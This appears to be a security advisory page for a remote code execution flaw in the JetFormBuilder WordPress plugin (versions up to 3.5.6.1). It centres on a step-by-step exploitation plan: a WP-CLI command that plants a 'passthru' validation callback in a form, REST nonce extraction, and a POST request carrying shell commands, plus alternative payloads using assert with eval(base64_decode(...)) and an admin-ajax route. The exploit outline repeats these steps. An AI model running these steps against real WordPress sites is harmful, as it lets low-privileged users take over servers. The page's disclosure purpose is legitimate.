JetFormBuilder — Dynamic Blocks Form Builder <= 3.5.6.1 - Authenticated (Contributor+) Remote Code Execution
Description
The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.5.6.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.5.6.1What Changed in the Fix
Changes introduced in v3.5.6.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32525 - JetFormBuilder Remote Code Execution ## 1. Vulnerability Summary The **JetFormBuilder** plugin for WordPress is vulnerable to **Remote Code Execution (RCE)** due to an improper implementation of server-side validation callbacks. The plugin allows form …
Show full research plan
Exploitation Research Plan: CVE-2026-32525 - JetFormBuilder Remote Code Execution
1. Vulnerability Summary
The JetFormBuilder plugin for WordPress is vulnerable to Remote Code Execution (RCE) due to an improper implementation of server-side validation callbacks. The plugin allows form creators to define "Server-Side callback" rules for form fields. When a form field is validated, the plugin uses call_user_func to execute a user-specified PHP function. While a blacklist of dangerous functions exists, it is incomplete, allowing functions like passthru to be executed with arbitrary arguments (the field value).
Since a Contributor can create or edit forms (which are stored as jet-form-builder custom posts), they can embed a malicious callback into a form and then trigger its execution via the plugin's REST API validation endpoint.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/jet-form-builder/v1/validate-field - Authentication: Contributor level is required to create the malicious form. Once the form exists, the validation endpoint can be triggered by any user with a valid REST API nonce (standard for logged-in users).
- Vulnerable Parameter (Configuration): The
valuesetting of assr(Server-Side Rule) validation rule. - Vulnerable Parameter (Trigger): The field value in the REST API request.
- Sink:
call_user_func()inmodules/validation/advanced-rules/server-side-rule.php.
3. Code Flow
- Entry Point: A POST request is sent to the REST route
jet-form-builder/v1/validate-field. - Endpoint Handler:
JFB_Modules\Validation\Rest_Api\Rest_Validation_Endpoint::run_callbackreceives the request. - Validation Processing: It calls
JFB_Modules\Validation\Handlers\Validation_Handler::validate($body). - Parser Resolution:
Validation_Handlerresolves the form and field parser using the provided_jfb_validation_pathand_jet_engine_booking_form_id. - Rule Execution: It retrieves the validation rules for the field. If a rule index
_jfb_validation_rule_indexpoints to anssrrule, it calls$ssr_rule->validate_field($parser). - Dynamic Callback:
JFB_Modules\Validation\Advanced_Rules\Server_Side_Rule::validate_fieldretrieves thevaluesetting (the function name). - Custom Validation:
Server_Side_Rule::validate_customis reached because the function is not a built-in JFB callback. - Bypass Check:
Server_Side_Rule::validate_callbackchecks the function name against a blacklist:var_dump,var_export,print_r,sprintf,printf,shell_exec,system,exec,unserialize,file_get_contents,maybe_unserialize.- Note:
passthru,popen,proc_open, andassert(PHP < 8) are notably missing.
- Sink:
call_user_func($name, $parser->get_value(), $parser->get_context())executes the command.
4. Nonce Acquisition Strategy
The REST API endpoint requires a standard WordPress REST nonce (wp_rest).
- Method: Authenticate as a Contributor.
- Navigation: Navigate to the WordPress dashboard (e.g.,
/wp-admin/). - Extraction: Use
browser_evalto extract the REST nonce from the standardwpApiSettingsobject. - JS Key:
window.wpApiSettings?.nonceor extract from the_wpnonceparameter in any AJAX request.
5. Exploitation Strategy
Step 1: Create a Malicious Form
Use WP-CLI to create a form post containing a text field with a malicious SSR validation rule.
wp post create --post_type=jet-form-builder \
--post_status=publish \
--post_title='RCE Exploit' \
--post_content='<!-- wp:jet-forms/text-field {"label":"Command","name":"exploit_field","validation":{"type":"advanced","rules":[{"name":"ssr","value":"passthru","message":"Validation failed"}]}} /-->'
Note the resulting ID of this post (e.g., 123).
Step 2: Obtain REST Nonce
Navigate to /wp-admin/ and run:browser_eval("window.wpApiSettings.nonce")
Step 3: Trigger the Payload
Send a POST request to the validation endpoint. We use passthru because it sends command output directly to the output buffer, which will appear in the HTTP response.
Request Details:
- URL:
http://localhost:8080/wp-json/jet-form-builder/v1/validate-field - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedX-WP-Nonce: [REST_NONCE]
- Body:
_jfb_validation_path:exploit_field_jfb_validation_rule_index:0_jet_engine_booking_form_id:123(The Form ID)exploit_field:whoami; id; uname -a
6. Test Data Setup
- User: A user with
contributorrole. - Plugin: JetFormBuilder version 3.5.6.1 or lower installed and active.
- Post: The
jet-form-builderpost created in Step 5.1.
7. Expected Results
- HTTP Response: The response body should contain the output of the shell commands (
whoami,id, etc.) followed by the JSON response from the REST API. - Response JSON:
(Result is false because passthru returns NULL, which casts to false in PHP){"result":false,"message":"Validation failed"}
8. Verification Steps
- Visual: Observe the output of
idorwhoamiin the HTTP response. - File System: Change the payload to
touch /tmp/jfb_rce_test. - Check: Run
wp eval 'echo file_exists("/tmp/jfb_rce_test") ? "pwned" : "failed";'via CLI.
9. Alternative Approaches
- Function
assert: If PHP version is < 8.0, useassertas the callback andeval(base64_decode(...))as the value. - Function
mb_ereg_replace: If available, can be used for RCE via theemodifier in some PHP environments. - Admin-Ajax: If the REST API is blocked, use the
jet_fb_ssr_validation_ajaxaction at/wp-admin/admin-ajax.php.- Body:
action=jet_fb_ssr_validation_ajax&data={"_jfb_validation_path":"exploit_field","_jfb_validation_rule_index":0,"_jet_engine_booking_form_id":123,"exploit_field":"whoami"}
- Body:
Summary
The JetFormBuilder plugin for WordPress is vulnerable to Remote Code Execution due to an insecure implementation of server-side validation callbacks. Authenticated attackers with Contributor-level access can define a dangerous PHP function (e.g., 'passthru') as a validation rule for a form field and execute it with arbitrary arguments by triggering the field validation REST API endpoint.
Vulnerable Code
// modules/validation/advanced-rules/server-side-rule.php lines 91-109 protected function validate_custom( Field_Data_Parser $parser, string $function_name ): bool { $name = $this->validate_callback( $function_name ); if ( ! $name ) { return false; } return (bool) call_user_func( $name, $parser->get_value(), $parser->get_context() ); } protected function validate_callback( string $function_name ): string { $name = preg_replace( '/[^\w]/i', '', $function_name ); if ( $name !== $function_name || // not in the blacklist in_array( $name, self::NOT_ALLOWED, true ) ) { return ''; } return function_exists( $name ) ? $name : ''; }
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('wp-api-fetch'), 'version' => '8ff3219219229b3acd2f'); +<?php return array('dependencies' => array('wp-api-fetch'), 'version' => 'cd9019dc6f52cd8ab6d0'); @@ -1 +1 @@ -(()=>{"use strict";var t={n:e=>{var i=e&&e.__esModule?()=>e.default:()=>e;return t.d(i,{a:i}),i},d:(e,i)=>{for(var r in i)t.o(i,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:i[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const{Restriction:e,CalculatedFormula:i}=window.JetFormBuilderAbstract;function r(){e.call(this),this.message="",this.formula=null,this.watchedAttrs=[]}r.prototype=Object.create(e.prototype),r.prototype.message="",r.prototype.formula=null,r.prototype.watchedAttrs=[],r.prototype.isServerSide=function(){return!1},r.prototype.getMessage=function(){return this.message},r.prototype.getRawMessage=function(){return"Error"},r.prototype.getMessageBySlug=function(t){return function(t,e){var i,r,s,n;const{reporting:o}=t,a=null!==(i=o.messages[e])&&void 0!==i?i:"";if(a)return a;const u=null!==(r=window?.JetFormsValidation)&&void 0!==r&&r;if(!1===u)return"";const c=o.input.getSubmit(),{messages:l}=null!==(s=u[c.getFormId()])&&void 0!==s?s:{};return null!==(n=l[e])&&void 0!==n?n:""}(this,t)},r.prototype.onReady=function(){this.formula=new i(this.reporting.input),this.formula.observe(this.getRawMessage()),this.formula.setResult=()=>{this.message=this.formula.calculateString()},this.formula.setResult(),this.watchedAttrs.length&&(this.reporting.watchAttrs=[...new Set([...this.reporting.watchAttrs,...this.watchedAttrs])])};const s=r;function n(){s.call(this),this.watchedAttrs.push("max"),this.isSupported=function(t,e){const{max:i=!1}=e.input.attrs;return!1!==i&&["number","range"].includes(t.type)},this.validate=function(){const t=this.getValue(),{max:e}=this.reporting.input.attrs;return!t||+t<=+e.value.current},this.getRawMessage=function(){return this.getMessageBySlug("number_max")}}n.prototype=Object.create(s.prototype);const o=n;function a(){s.call(this),this.watchedAttrs.push("min"),this.isSupported=function(t,e){const{min:i=!1}=e.input.attrs;return!1!==i&&["number","range"].includes(t.type)},this.validate=function(){const t=this.getValue(),{min:e}=this.reporting.input.attrs;return!t||+t>=+e.value.current},this.getRawMessage=function(){return this.getMessageBySlug("number_min")}}a.prototype=Object.create(s.prototype); ... (truncated)
Exploit Outline
1. Authenticate to the target WordPress site as a user with Contributor-level access or higher. 2. Create a new form using JetFormBuilder (post type: jet-form-builder). Within the form's text field configuration, add a 'Server-Side callback' (ssr) validation rule. 3. Set the SSR rule's value to a dangerous PHP function that is not included in the plugin's blacklist (e.g., 'passthru'). Save the form and note its post ID. 4. Obtain a valid REST API nonce (standard for logged-in users, accessible via window.wpApiSettings.nonce). 5. Send a POST request to /wp-json/jet-form-builder/v1/validate-field with parameters: _jet_engine_booking_form_id (the form ID), _jfb_validation_path (the name of the malicious field), _jfb_validation_rule_index (the index of the SSR rule), and the field name itself set to the shell command payload (e.g., 'id'). 6. The plugin will retrieve the function name from the form configuration and execute it using call_user_func, passing the shell command from the request as the first argument, resulting in command execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.